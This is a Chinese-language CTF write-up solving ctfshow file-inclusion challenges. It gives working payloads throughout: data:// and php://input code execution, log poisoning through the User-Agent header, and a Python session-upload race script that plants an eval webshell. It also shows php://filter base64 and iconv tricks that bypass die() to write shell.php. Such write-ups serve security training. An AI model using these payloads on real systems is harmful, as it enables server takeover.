[CTFshow] 檔案包含 78~88,116~117

sunset2131發表於2024-09-18

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
  1. php偽協議,data:// 資料流封裝器,以傳遞相應格式的資料。通常可以用來執行PHP程式碼

    ?file=data://text/plain,<?=system('ls')?>
    ?file=data://text/plain,<?=system('cat flag.php')?>
    

web79


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  1. 就增加了個替換,*號繞過

    ?file=data://text/plain,<?=system('cat f*')?>
    

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  1. data不給用了,但還有很多方法,但是大小寫繞過,使用php://input

    POST /?file=phP://input HTTP/1.1
    Host: 
    .....
    <?=system('cat fl0g.php');?>
    

web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  1. 多了點過濾: ,嘗試使用日誌繞過,F12檢視伺服器是nginx那麼預設日誌檔案則是在/var/log/nginx/access.log ,透過修改ua來達到目的

    # 1
    GET /?file=/var/log/nginx/access.log HTTP/1.1
    User-Agent: Mozilla/5.0 (Win<?php system('ls');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    # 2
    GET /?file=/var/log/nginx/access.log HTTP/1.1
    User-Agent: Mozilla/5.0 (Win<?php system('cat fl0g.php');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    

web82 - web86

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

偽協議,日誌都不能使用了,嘗試session包含

  1. 使用指令碼,已經對程式碼進行註釋

    # -*- coding: utf-8 -*-
    import requests
    import threading
    import io
    
    // 條件競爭的url
    url = 'http://787ca786-8744-4541-95ee-be9c1eca47e9.challenge.ctf.show/'
    sessid = 'ctfshow'
    
    # /tmp/sess_sessionid 中寫入一句話木馬
    def write(session):
        # 用來模擬上傳檔案
        fileBytes = io.BytesIO(b'a' * 1024 * 50)
        # 無限迴圈生成session檔案,因為在檔案上傳成功後會立馬銷燬session
        while True:
            response = session.post(
                url,
                data={
                # 寫入一句話馬,密碼為1
                    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
                },
                cookies={
    	          #設定sessionid,檔名將會以sess_sessid來命名
                    'PHPSESSID': sessid
                },
                # 假裝上傳的是圖片,格式是fileBytes
                files={
                    'file': ('ctfshow.jpg', fileBytes)
                }
            )
    
    def read(session):
    		# 迴圈讀取write生成的session檔案,因為要在刪除前訪問到session檔案
        while True:
            response = session.post(
            # 一般session檔案儲存在/tmp/*
                url + '?file=/tmp/sess_' + sessid,
                data={
                # 執行在write上傳的session檔案裡的馬,在網頁目錄資料夾生成muma.jpg,並寫入一句馬
                    "1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
                },
                cookies={
                    'PHPSESSID': sessid
                }
            )
            # 訪問木馬檔案,如果訪問到了就代表競爭成功
            resposne2 = session.get(url + 'muma.php')
            if resposne2.status_code == 200:
                print('++++++done++++++')
            else:
                print(resposne2.status_code)
    
    if __name__ == '__main__':
    
        evnet = threading.Event()
        # 寫入和訪問分別設定 5 個執行緒。
        with requests.session() as session:
            for i in range(5):
                threading.Thread(target=write, args=(session,)).start()
            for i in range(5):
                threading.Thread(target=read, args=(session,)).start()
    
        evnet.set()
    

    整個程式碼的思路就是,往/tmp/sess_ctfshow檔案中寫入一句話木馬,密碼為1,然後用題目中的檔案包含漏洞,包含這一個檔案,在函式read中嘗試利用/tmp/sess_ctfshow的一句話往網站根目錄檔案1.php寫一句話木馬,密碼為a

  2. 競爭成功後訪問muma.php ,讀取flag即可

web87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

新增 file_put_contents 函式,將會往 $file 裡寫入 <?php die('大佬別秀了');?> 和我們 post 傳入的 $content 內容,這樣就會先執行die 而後面我們傳入的程式碼就不會執行因此我們還需要繞過這個 die() 函式

參考連結:https://blog.csdn.net/Myon5/article/details/140224831#:~:text=ctfshow-we

透過 php://filter/write 過濾器來繞過

官網連結: https://www.php.net/manual/zh/wrappers.php.php

透過 php://filter/write=convert.base64-decode/resource=xxx.php

  1. 思路:假如我們content輸入的是PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==<?php eval($_POST[1]); ?>經過base64編碼後的字元),那麼檔案內容就是<?php die('大佬別秀了');?>PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg== ,然後我們透過php://filter/write=convert.base64-decode/resource=xxx.php 來將輸入的內容進行base64解碼,那麼檔案內容就會變成 �]�<?php eval($_POST[1]); ?> ,所以就饒過die函式

  2. 仔細檢視程式碼,發現urldecode 會將我們輸入的php://filter/write=convert.base64-decode/resource=xxx.php 進行url解碼,所以我們需要對php://filter/write=convert.base64-decode/resource=xxx.php 進行兩次url編碼,中介軟體會解碼一次,程式碼中也會解碼一次

  3. 構造payload:

    php://filter/write=convert.base64-decode/resource=shell.php 進行兩次url編碼

    %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
    

    <?php eval($_POST[1]); ?> 進行base64編碼

    PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    

    還要在前面加上兩個1,因為base64編碼是4位4位來解碼的,不能整除的話就會解碼失敗,因為<?php die('大佬別秀了');?> 解碼後也會剩下兩個字元所以我們要在前面加上兩個1湊為4的整數

    11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    
  4. 構造資料包

    POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30 HTTP/1.1
    Host: 592b7169-a44....
    ......
    ......
    ......
    content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    
  5. 之後訪問shell.php,使用後門程式碼走流程就行

web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 
  1. 過濾了很多,嘗試訪問了日誌檔案也不行

  2. 發現好像可以構造偽協議

    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg11 // system('ls');
    
    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz41
    

web116

提示:misc+lfi

  1. 進去是個影片,我們下載下來,

    嘗試使用binwalk來分離檔案

    # kali
    // 檢視檔案
    binwalk video.mp4 --run-as=root 
    // output
    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    27657186      0x1A603E2       PGP RSA encrypted session key - keyid: 7DEBB57A 854F782F RSA (Encrypt or Sign) 1024b
    27820636      0x1A8825C       MySQL ISAM index file Version 8
    28976826      0x1BA26BA       HPACK archive data
    40994603      0x271872B       PNG image, 941 x 320, 8-bit/color RGBA, non-interlaced
    40994644      0x2718754       Zlib compressed data, default compression
    

    發現png,提取 binwalk -e video.mp4 -D PNG --run-as=root ,我的不知道為什麼讀取不了,使用foremost來提取 foremost xxx.mp4 ,提取出來一張圖片

    過濾了蠻多的,不過沒有過濾flag ,也沒有過濾 filter

    嘗試構造語句?file=php://filter/resource=flag.php (直接讀取)

    flag在f12響應裡面找到,base64編碼的,要解碼

web117

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

和web87長得有點像,不過base64rot13被ban掉了,依舊是使用filter,還有iconv 可以嘗試

在linux 裡面使用iconvpayload進行編碼

先使用linux來對payload編碼

iconv -f ucs-2le -t ucs-2be 1.txt
// 輸出:?<hp pvela$(P_SO[Ta']';)?>
// 1.txt 裡面是 <?php eval($_POST['a']); ?>

再構造filter

?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php

大概思路和web87差不多,也是對資料進行編碼解碼,原本的<?php die();?> 就會亂碼,從而繞過

  1. 提交資料包

    GET /?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php
    POST contents=?<hp pvela$(P_SO[Ta']';)?>
    
  2. 提交後訪問1.php,之後常規操作

相關文章